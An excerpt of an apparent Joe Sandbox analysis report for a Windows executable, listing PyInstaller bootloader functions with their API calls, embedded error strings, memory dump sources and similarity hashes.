Instruction Fuzzy Hash: 90328D21A0D6C291FB29BB25D4542F9E691BF45780FC84232DA7E432D6EF2CE565C3E0

Function 00007FF7FF5A69D4 Relevance: 13.8, APIs: 9, Instructions: 276
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF7FF5A6708: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7FF5A6749
Part of subcall function 00007FF7FF5A6708: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7FF5A67C7
Part of subcall function 00007FF7FF5A6708: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7FF5A6818

CreateFileW.KERNELBASE ref: 00007FF7FF5A6ADA
CreateFileW.KERNEL32 ref: 00007FF7FF5A6B2A
GetLastError.KERNEL32 ref: 00007FF7FF5A6B5A
GetFileType.KERNELBASE ref: 00007FF7FF5A6B6F
GetLastError.KERNEL32 ref: 00007FF7FF5A6B79
CloseHandle.KERNEL32 ref: 00007FF7FF5A6BAC
CloseHandle.KERNEL32 ref: 00007FF7FF5A6D0F
CreateFileW.KERNEL32 ref: 00007FF7FF5A6D44
GetLastError.KERNEL32 ref: 00007FF7FF5A6D53

Memory Dump Source

Source File: 00000000.00000002.1511465811.00007FF7FF581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7FF580000, based on PE: true

Associated: 00000000.00000002.1511442281.00007FF7FF580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511499211.00007FF7FF5AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511529578.00007FF7FF5BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511529578.00007FF7FF5C2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511584327.00007FF7FF5C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ff580000_YgJ5inWPQO.jbxd

Similarity

API ID: File$CreateErrorLast_invalid_parameter_noinfo$CloseHandle$Type
String ID:
API String ID: 1617910340-0
Opcode ID: 4205a6958293653b93a25a06bf68436f7b6b11ca03fe036e6858b65a4e3d069e
Instruction ID: c94df809199b81bb341f8ac31c980e2f54dd82e759c8744b17fa9702197ee3d6
Opcode Fuzzy Hash: 4205a6958293653b93a25a06bf68436f7b6b11ca03fe036e6858b65a4e3d069e
Instruction Fuzzy Hash: DBC1DE36B29A8285EB10EF65C4902AC7761FB48B98F814335DA3E5B7D4DF38D421C3A0

Function 00007FF7FF5883B0 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 89
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindFirstFileW.KERNELBASE(?,00007FF7FF588B09,00007FF7FF583FA5), ref: 00007FF7FF58841B
RemoveDirectoryW.KERNEL32(?,00007FF7FF588B09,00007FF7FF583FA5), ref: 00007FF7FF58849E
DeleteFileW.KERNELBASE(?,00007FF7FF588B09,00007FF7FF583FA5), ref: 00007FF7FF5884BD
FindNextFileW.KERNELBASE(?,00007FF7FF588B09,00007FF7FF583FA5), ref: 00007FF7FF5884CB
FindClose.KERNEL32(?,00007FF7FF588B09,00007FF7FF583FA5), ref: 00007FF7FF5884DC
RemoveDirectoryW.KERNELBASE(?,00007FF7FF588B09,00007FF7FF583FA5), ref: 00007FF7FF5884E5

Strings

%s\*, xrefs: 00007FF7FF5883E2

Memory Dump Source

Source File: 00000000.00000002.1511465811.00007FF7FF581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7FF580000, based on PE: true

Associated: 00000000.00000002.1511442281.00007FF7FF580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511499211.00007FF7FF5AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511529578.00007FF7FF5BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511529578.00007FF7FF5C2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511584327.00007FF7FF5C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ff580000_YgJ5inWPQO.jbxd

Similarity

API ID: FileFind$DirectoryRemove$CloseDeleteFirstNext
String ID: %s\*
API String ID: 1057558799-766152087
Opcode ID: 754801c57d3e7d892bd8d831a0c0450fb277ac1fd7854ad2b3e1f46bb6674256
Instruction ID: 1f4735558c2cc05e2b2cae2f858f605ce02fb16e1e08164ffce82021d2475a73
Opcode Fuzzy Hash: 754801c57d3e7d892bd8d831a0c0450fb277ac1fd7854ad2b3e1f46bb6674256
Instruction Fuzzy Hash: C6416222A0DAC295EB20BB24E4445F9A360FB94759FC00332D57D476E4DF3CD54AC7A4

Function 00007FF7FF5892F0 Relevance: 3.0, APIs: 2, Instructions: 29COMMON

Download Yara Rule

APIs

FindFirstFileExW.KERNELBASE ref: 00007FF7FF589323
FindClose.KERNELBASE ref: 00007FF7FF589332

Memory Dump Source

Source File: 00000000.00000002.1511465811.00007FF7FF581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7FF580000, based on PE: true

Associated: 00000000.00000002.1511442281.00007FF7FF580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511499211.00007FF7FF5AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511529578.00007FF7FF5BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511529578.00007FF7FF5C2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511584327.00007FF7FF5C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ff580000_YgJ5inWPQO.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID:
API String ID: 2295610775-0
Opcode ID: f8f1f0d53470ef13f354418d29ecb311e48373b0acb6529cbcbe83ca601eafdf
Instruction ID: 80f56aa61dc15b83b9b1069b43413b770e257c14297a8feb480ef5b14cc13ec1
Opcode Fuzzy Hash: f8f1f0d53470ef13f354418d29ecb311e48373b0acb6529cbcbe83ca601eafdf
Instruction Fuzzy Hash: 5FF06822A197C186FB609F64B4497A6B750FB84769F840335DA7D036D4DF3CD059CA50

Function 00007FF7FF581950 Relevance: 22.9, APIs: 2, Strings: 11, Instructions: 184
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF7FF587F80: _fread_nolock.LIBCMT ref: 00007FF7FF58802A

_fread_nolock.LIBCMT ref: 00007FF7FF581A1B

Part of subcall function 00007FF7FF582910: GetCurrentProcessId.KERNEL32(?,?,?,?,00000000,00000000,?,00000000,00007FF7FF581B6A), ref: 00007FF7FF58295E

Strings

Failed to read cookie!, xrefs: 00007FF7FF581A2B
Could not allocate buffer for TOC!, xrefs: 00007FF7FF581B1B
MEI, xrefs: 00007FF7FF581991
malloc, xrefs: 00007FF7FF581B22
Failed to seek to cookie position!, xrefs: 00007FF7FF5819EE
Error on file., xrefs: 00007FF7FF581B8D
Could not read full TOC!, xrefs: 00007FF7FF581B55
fseek, xrefs: 00007FF7FF5819F5
calloc, xrefs: 00007FF7FF581A68
Could not allocate memory for archive structure!, xrefs: 00007FF7FF581A61
fread, xrefs: 00007FF7FF581A32, 00007FF7FF581B5C

Memory Dump Source

Source File: 00000000.00000002.1511465811.00007FF7FF581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7FF580000, based on PE: true

Associated: 00000000.00000002.1511442281.00007FF7FF580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511499211.00007FF7FF5AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511529578.00007FF7FF5BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511529578.00007FF7FF5C2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511584327.00007FF7FF5C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ff580000_YgJ5inWPQO.jbxd

Similarity

API ID: _fread_nolock$CurrentProcess
String ID: Could not allocate buffer for TOC!$Could not allocate memory for archive structure!$Could not read full TOC!$Error on file.$Failed to read cookie!$Failed to seek to cookie position!$MEI$calloc$fread$fseek$malloc
API String ID: 2397952137-3497178890
Opcode ID: fb8dace35f984c3c8d59b22f0dfd890ef8918d876ac5e0f6e5e6b76f1e80faa4
Instruction ID: e8ff027ac9776c38a0ce57b0106014e78f9e1177fbabef214dfc03ec36f5e0e7
Opcode Fuzzy Hash: fb8dace35f984c3c8d59b22f0dfd890ef8918d876ac5e0f6e5e6b76f1e80faa4
Instruction Fuzzy Hash: 39818D71A096C696EB20AB24D0402F9A3A1FF48784F944631E9BD477D6EE3CE585C7E0

Function 00007FF7FF581600 Relevance: 22.9, APIs: 1, Strings: 12, Instructions: 145
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Failed to extract %s: failed to open archive file!, xrefs: 00007FF7FF5816A2
malloc, xrefs: 00007FF7FF581749
Failed to extract %s: failed to write data chunk!, xrefs: 00007FF7FF5817CA
Failed to extract %s: failed to allocate temporary buffer!, xrefs: 00007FF7FF581742
Failed to create symbolic link %s!, xrefs: 00007FF7FF581622
fseek, xrefs: 00007FF7FF5816E1
Failed to extract %s: failed to open target file!, xrefs: 00007FF7FF58165C
fopen, xrefs: 00007FF7FF581663
Failed to extract %s: failed to read data chunk!, xrefs: 00007FF7FF5817DF
fwrite, xrefs: 00007FF7FF5817D1
fread, xrefs: 00007FF7FF5817E6
Failed to extract %s: failed to seek to the entry's data!, xrefs: 00007FF7FF5816DA

Memory Dump Source

Source File: 00000000.00000002.1511465811.00007FF7FF581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7FF580000, based on PE: true

Associated: 00000000.00000002.1511442281.00007FF7FF580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511499211.00007FF7FF5AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511529578.00007FF7FF5BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511529578.00007FF7FF5C2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511584327.00007FF7FF5C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ff580000_YgJ5inWPQO.jbxd

Similarity

API ID: CurrentProcess
String ID: Failed to create symbolic link %s!$Failed to extract %s: failed to allocate temporary buffer!$Failed to extract %s: failed to open archive file!$Failed to extract %s: failed to open target file!$Failed to extract %s: failed to read data chunk!$Failed to extract %s: failed to seek to the entry's data!$Failed to extract %s: failed to write data chunk!$fopen$fread$fseek$fwrite$malloc
API String ID: 2050909247-1550345328
Opcode ID: 23ac436432f69dff89e67b7c3031c819f54d06e4f97595c0cc87ed9803ad40dc
Instruction ID: 42583fd67a5256244861b10729d7d39e3ba4584d00640a868a6a934d15417087
Opcode Fuzzy Hash: 23ac436432f69dff89e67b7c3031c819f54d06e4f97595c0cc87ed9803ad40dc
Instruction Fuzzy Hash: 1D519A21A096C392EB14BB2294401EAA3A0BF41B94FC44735EE7D47BE6DE3CE555C7E0

Function 00007FF7FF588850 Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 116
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTempPathW.KERNEL32(?,?,00000000,00007FF7FF583CBB), ref: 00007FF7FF5888F4
GetCurrentProcessId.KERNEL32(?,00000000,00007FF7FF583CBB), ref: 00007FF7FF5888FA
CreateDirectoryW.KERNELBASE(?,00000000,00007FF7FF583CBB), ref: 00007FF7FF58893C

Part of subcall function 00007FF7FF588A20: GetEnvironmentVariableW.KERNEL32(00007FF7FF58388E), ref: 00007FF7FF588A57
Part of subcall function 00007FF7FF588A20: ExpandEnvironmentStringsW.KERNEL32 ref: 00007FF7FF588A79

Part of subcall function 00007FF7FF5982A8: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7FF5982C1

Part of subcall function 00007FF7FF582810: MessageBoxW.USER32 ref: 00007FF7FF5828EA

Strings

_MEI%d, xrefs: 00007FF7FF588902
TMP, xrefs: 00007FF7FF5888B2
TMP, xrefs: 00007FF7FF58888C, 00007FF7FF588993
LOADER: failed to set the TMP environment variable., xrefs: 00007FF7FF5888CC
LOADER: length of teporary directory path exceeds maximum path length!, xrefs: 00007FF7FF58896E

Memory Dump Source

Source File: 00000000.00000002.1511465811.00007FF7FF581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7FF580000, based on PE: true

Associated: 00000000.00000002.1511442281.00007FF7FF580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511499211.00007FF7FF5AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511529578.00007FF7FF5BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511529578.00007FF7FF5C2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511584327.00007FF7FF5C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ff580000_YgJ5inWPQO.jbxd

Similarity

API ID: Environment$CreateCurrentDirectoryExpandMessagePathProcessStringsTempVariable_invalid_parameter_noinfo
String ID: LOADER: failed to set the TMP environment variable.$LOADER: length of teporary directory path exceeds maximum path length!$TMP$TMP$_MEI%d
API String ID: 3563477958-1339014028
Opcode ID: 4e349524156a31c65ddba45994ef87c37bf84ce1b0e485ec316371ea64373d4f
Instruction ID: 86979438d1f6213863f5b2f138208d8bac97bee4d79f3f3289ff0c5bc3daa82e
Opcode Fuzzy Hash: 4e349524156a31c65ddba45994ef87c37bf84ce1b0e485ec316371ea64373d4f
Instruction Fuzzy Hash: 1A419D12A096C340EB24BB25A8552F99291FF89B85FC04331ED3D4B7D6EE3CE501C6E0

Function 00007FF7FF581210 Relevance: 12.4, APIs: 1, Strings: 6, Instructions: 158
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Failed to extract %s: inflateInit() failed with return code %d!, xrefs: 00007FF7FF581276
malloc, xrefs: 00007FF7FF5812C1, 00007FF7FF5812F6
Failed to extract %s: decompression resulted in return code %d!, xrefs: 00007FF7FF58141E
Failed to extract %s: failed to allocate temporary input buffer!, xrefs: 00007FF7FF5812BA
Failed to extract %s: failed to allocate temporary output buffer!, xrefs: 00007FF7FF5812EF
1.3.1, xrefs: 00007FF7FF581249

Memory Dump Source

Source File: 00000000.00000002.1511465811.00007FF7FF581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7FF580000, based on PE: true

Associated: 00000000.00000002.1511442281.00007FF7FF580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511499211.00007FF7FF5AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511529578.00007FF7FF5BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511529578.00007FF7FF5C2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511584327.00007FF7FF5C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ff580000_YgJ5inWPQO.jbxd

Similarity

API ID: CurrentProcess
String ID: 1.3.1$Failed to extract %s: decompression resulted in return code %d!$Failed to extract %s: failed to allocate temporary input buffer!$Failed to extract %s: failed to allocate temporary output buffer!$Failed to extract %s: inflateInit() failed with return code %d!$malloc
API String ID: 2050909247-2813020118
Opcode ID: 5203fde90a14cfca52878d148793ed0f56fa2f4a03ba52266beea290f2c18543
Instruction ID: fc1cdf96532a676fd4d30c97842cd2cce772d914208fd1d27e531a96dd1b30c2
Opcode Fuzzy Hash: 5203fde90a14cfca52878d148793ed0f56fa2f4a03ba52266beea290f2c18543
Instruction Fuzzy Hash: BB51C422A09AC241EB60BB11A4403FAE291BF85794FC44331ED7E47BE5EE3CE545C7A0

Function 00007FF7FF59ED80 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117
libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeLibrary.KERNEL32(?,?,?,00007FF7FF59F11A,?,?,-00000018,00007FF7FF59ADC3,?,?,?,00007FF7FF59ACBA,?,?,?,00007FF7FF595FAE), ref: 00007FF7FF59EEFC
GetProcAddress.KERNEL32(?,?,?,00007FF7FF59F11A,?,?,-00000018,00007FF7FF59ADC3,?,?,?,00007FF7FF59ACBA,?,?,?,00007FF7FF595FAE), ref: 00007FF7FF59EF08

Strings

ext-ms-, xrefs: 00007FF7FF59EE59
api-ms-, xrefs: 00007FF7FF59EE46

Memory Dump Source

Source File: 00000000.00000002.1511465811.00007FF7FF581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7FF580000, based on PE: true

Associated: 00000000.00000002.1511442281.00007FF7FF580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511499211.00007FF7FF5AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511529578.00007FF7FF5BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511529578.00007FF7FF5C2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511584327.00007FF7FF5C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ff580000_YgJ5inWPQO.jbxd

Similarity

API ID: AddressFreeLibraryProc
String ID: api-ms-$ext-ms-
API String ID: 3013587201-537541572
Opcode ID: 2820b76ab0802fc58bac5aaef12ed6f6fffcf0c29b30edae647068643d5e49cf
Instruction ID: 94eb0019f1b89339c6a4af6289785c40a53f72699f06dfac20263d869b6f258d
Opcode Fuzzy Hash: 2820b76ab0802fc58bac5aaef12ed6f6fffcf0c29b30edae647068643d5e49cf
Instruction Fuzzy Hash: E641D221B196A282EB2AEB1698445F5A791BF48B90FC84739DD3D573D4EE3CE40582B0

Function 00007FF7FF5836B0 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 61
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameW.KERNEL32(?,00007FF7FF583804), ref: 00007FF7FF5836E1
GetLastError.KERNEL32(?,00007FF7FF583804), ref: 00007FF7FF5836EB

Part of subcall function 00007FF7FF582C50: GetCurrentProcessId.KERNEL32(?,?,?,?,?,?,?,?,00007FF7FF583706,?,00007FF7FF583804), ref: 00007FF7FF582C9E
Part of subcall function 00007FF7FF582C50: FormatMessageW.KERNEL32(?,?,?,?,?,?,?,?,00007FF7FF583706,?,00007FF7FF583804), ref: 00007FF7FF582D63
Part of subcall function 00007FF7FF582C50: MessageBoxW.USER32 ref: 00007FF7FF582D99

Strings

\\?\, xrefs: 00007FF7FF58375A
Failed to obtain executable path., xrefs: 00007FF7FF5836F3
Failed to resolve full path to executable %ls., xrefs: 00007FF7FF583739
GetModuleFileNameW, xrefs: 00007FF7FF5836FA
Failed to convert executable path to UTF-8., xrefs: 00007FF7FF583790

Memory Dump Source

Source File: 00000000.00000002.1511465811.00007FF7FF581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7FF580000, based on PE: true

Associated: 00000000.00000002.1511442281.00007FF7FF580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511499211.00007FF7FF5AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511529578.00007FF7FF5BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511529578.00007FF7FF5C2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511584327.00007FF7FF5C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ff580000_YgJ5inWPQO.jbxd

Similarity

API ID: Message$CurrentErrorFileFormatLastModuleNameProcess
String ID: Failed to convert executable path to UTF-8.$Failed to obtain executable path.$Failed to resolve full path to executable %ls.$GetModuleFileNameW$\\?\
API String ID: 3187769757-2863816727
Opcode ID: 6d8fde842cedad8fbf80b9c4aa3ce336361ac9392ce2c79ae57a11131fda94fc
Instruction ID: f5f5644522468bfb6c97155f5e32020bca623684ed21aa1b6ac219ac407b73c0
Opcode Fuzzy Hash: 6d8fde842cedad8fbf80b9c4aa3ce336361ac9392ce2c79ae57a11131fda94fc
Instruction Fuzzy Hash: A4218391B19AC251FB20BB24E8043F6A290BF48755FC40332D57EC35E5EE2CE604C7A0

Function 00007FF7FF59BACC Relevance: 10.8, APIs: 7, Instructions: 290
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7FF59BEF9

Memory Dump Source

Source File: 00000000.00000002.1511465811.00007FF7FF581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7FF580000, based on PE: true

Associated: 00000000.00000002.1511442281.00007FF7FF580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511499211.00007FF7FF5AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511529578.00007FF7FF5BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511529578.00007FF7FF5C2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511584327.00007FF7FF5C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ff580000_YgJ5inWPQO.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 71330427dde7a49afb2283bb308656113f98e0c66a4f806cd66398b14c9322eb
Instruction ID: 83fa90cfd8c71e74b13d55bcc48a617426c8c0bf2705065cbd80c80d8286db5e
Opcode Fuzzy Hash: 71330427dde7a49afb2283bb308656113f98e0c66a4f806cd66398b14c9322eb
Instruction Fuzzy Hash: F5C1B2229087CBA1F778AB1594402FDA764EB81B80F954331EA7E037E1CE7CE95583A0

Function 00007FF7FF588760 Relevance: 10.6, APIs: 7, Instructions: 63
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 00007FF7FF588780
OpenProcessToken.ADVAPI32 ref: 00007FF7FF588793
GetTokenInformation.KERNELBASE ref: 00007FF7FF5887B8
GetLastError.KERNEL32 ref: 00007FF7FF5887C2
GetTokenInformation.KERNELBASE ref: 00007FF7FF588802
ConvertSidToStringSidW.ADVAPI32 ref: 00007FF7FF58881E
CloseHandle.KERNEL32 ref: 00007FF7FF588836

Memory Dump Source

Source File: 00000000.00000002.1511465811.00007FF7FF581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7FF580000, based on PE: true

Associated: 00000000.00000002.1511442281.00007FF7FF580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511499211.00007FF7FF5AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511529578.00007FF7FF5BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511529578.00007FF7FF5C2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511584327.00007FF7FF5C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ff580000_YgJ5inWPQO.jbxd

Similarity

API ID: Token$InformationProcess$CloseConvertCurrentErrorHandleLastOpenString
String ID:
API String ID: 995526605-0
Opcode ID: ccba17952e233d5b695068aab9421341a55ed3ebff0a2a14ee99ad80d8ea5500
Instruction ID: 31d7f8be36e7431e17f9a85cd543db170859c106f42b0e6d533bb689fe0fbb5b
Opcode Fuzzy Hash: ccba17952e233d5b695068aab9421341a55ed3ebff0a2a14ee99ad80d8ea5500
Instruction Fuzzy Hash: 62217E21A0C68342EB10AB55F4942AAE7A0FB857A0F900735EABD47AE4DF6CD455CB90

Function 00007FF7FF5890E0 Relevance: 9.1, APIs: 2, Strings: 4, Instructions: 64
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF7FF588760: GetCurrentProcess.KERNEL32 ref: 00007FF7FF588780
Part of subcall function 00007FF7FF588760: OpenProcessToken.ADVAPI32 ref: 00007FF7FF588793
Part of subcall function 00007FF7FF588760: GetTokenInformation.KERNELBASE ref: 00007FF7FF5887B8
Part of subcall function 00007FF7FF588760: GetLastError.KERNEL32 ref: 00007FF7FF5887C2
Part of subcall function 00007FF7FF588760: GetTokenInformation.KERNELBASE ref: 00007FF7FF588802
Part of subcall function 00007FF7FF588760: ConvertSidToStringSidW.ADVAPI32 ref: 00007FF7FF58881E
Part of subcall function 00007FF7FF588760: CloseHandle.KERNEL32 ref: 00007FF7FF588836

LocalFree.KERNEL32(?,00007FF7FF583C55), ref: 00007FF7FF58916C
LocalFree.KERNEL32(?,00007FF7FF583C55), ref: 00007FF7FF589175

Strings

D:(A;;FA;;;%s), xrefs: 00007FF7FF589157
Security descriptor string length exceeds PYI_PATH_MAX!, xrefs: 00007FF7FF589183
D:(A;;FA;;;%s)(A;;FA;;;%s), xrefs: 00007FF7FF589142
S-1-3-4, xrefs: 00007FF7FF589121

Memory Dump Source

Source File: 00000000.00000002.1511465811.00007FF7FF581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7FF580000, based on PE: true

Associated: 00000000.00000002.1511442281.00007FF7FF580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511499211.00007FF7FF5AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511529578.00007FF7FF5BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511529578.00007FF7FF5C2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511584327.00007FF7FF5C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ff580000_YgJ5inWPQO.jbxd

Similarity

API ID: Token$FreeInformationLocalProcess$CloseConvertCurrentErrorHandleLastOpenString
String ID: D:(A;;FA;;;%s)$D:(A;;FA;;;%s)(A;;FA;;;%s)$S-1-3-4$Security descriptor string length exceeds PYI_PATH_MAX!
API String ID: 6828938-1529539262
Opcode ID: 3eb7115bd34229e0b110e4578eeeb93c66e7230f7a251aed45e8d0dbb8b27e08
Instruction ID: 41f2051c5beebed55413ace6f294a047302673919fb108bd8f297b157899db18
Opcode Fuzzy Hash: 3eb7115bd34229e0b110e4578eeeb93c66e7230f7a251aed45e8d0dbb8b27e08
Instruction Fuzzy Hash: 92213C21A096C282F710BB10E5152EAA6A0FF88780FC44235EA7D53BD6EF3CD805C7E0

Function 00007FF7FF59CFD0 Relevance: 6.2, APIs: 4, Instructions: 218
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetConsoleMode.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF7FF59CFBB), ref: 00007FF7FF59D0EC
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF7FF59CFBB), ref: 00007FF7FF59D177

Memory Dump Source

Source File: 00000000.00000002.1511465811.00007FF7FF581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7FF580000, based on PE: true

Associated: 00000000.00000002.1511442281.00007FF7FF580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511499211.00007FF7FF5AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511529578.00007FF7FF5BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511529578.00007FF7FF5C2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511584327.00007FF7FF5C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ff580000_YgJ5inWPQO.jbxd

Similarity

API ID: ConsoleErrorLastMode
String ID:
API String ID: 953036326-0
Opcode ID: 6e58aef6e17acf8d0a0aea0d946e1cce7a25eacb923cf4c64ad3114965f560b8
Instruction ID: cef920b1496819e1980775ef83826ecafb258c76f2f942745081a0b4e0fbf0dd
Opcode Fuzzy Hash: 6e58aef6e17acf8d0a0aea0d946e1cce7a25eacb923cf4c64ad3114965f560b8
Instruction Fuzzy Hash: 2591E732F1869285F774AF6594402FDABA0BB40788F944235DE7E536D4EE3CD442C7A0

Function 00007FF7FF595698 Relevance: 6.1, APIs: 4, Instructions: 90fileCOMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7FF5956C5
CreateFileW.KERNELBASE ref: 00007FF7FF595704
CloseHandle.KERNEL32 ref: 00007FF7FF595739

Memory Dump Source

Source File: 00000000.00000002.1511465811.00007FF7FF581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7FF580000, based on PE: true

Associated: 00000000.00000002.1511442281.00007FF7FF580000.00000002.00000001.01000000.00000003.sdmpDownload File
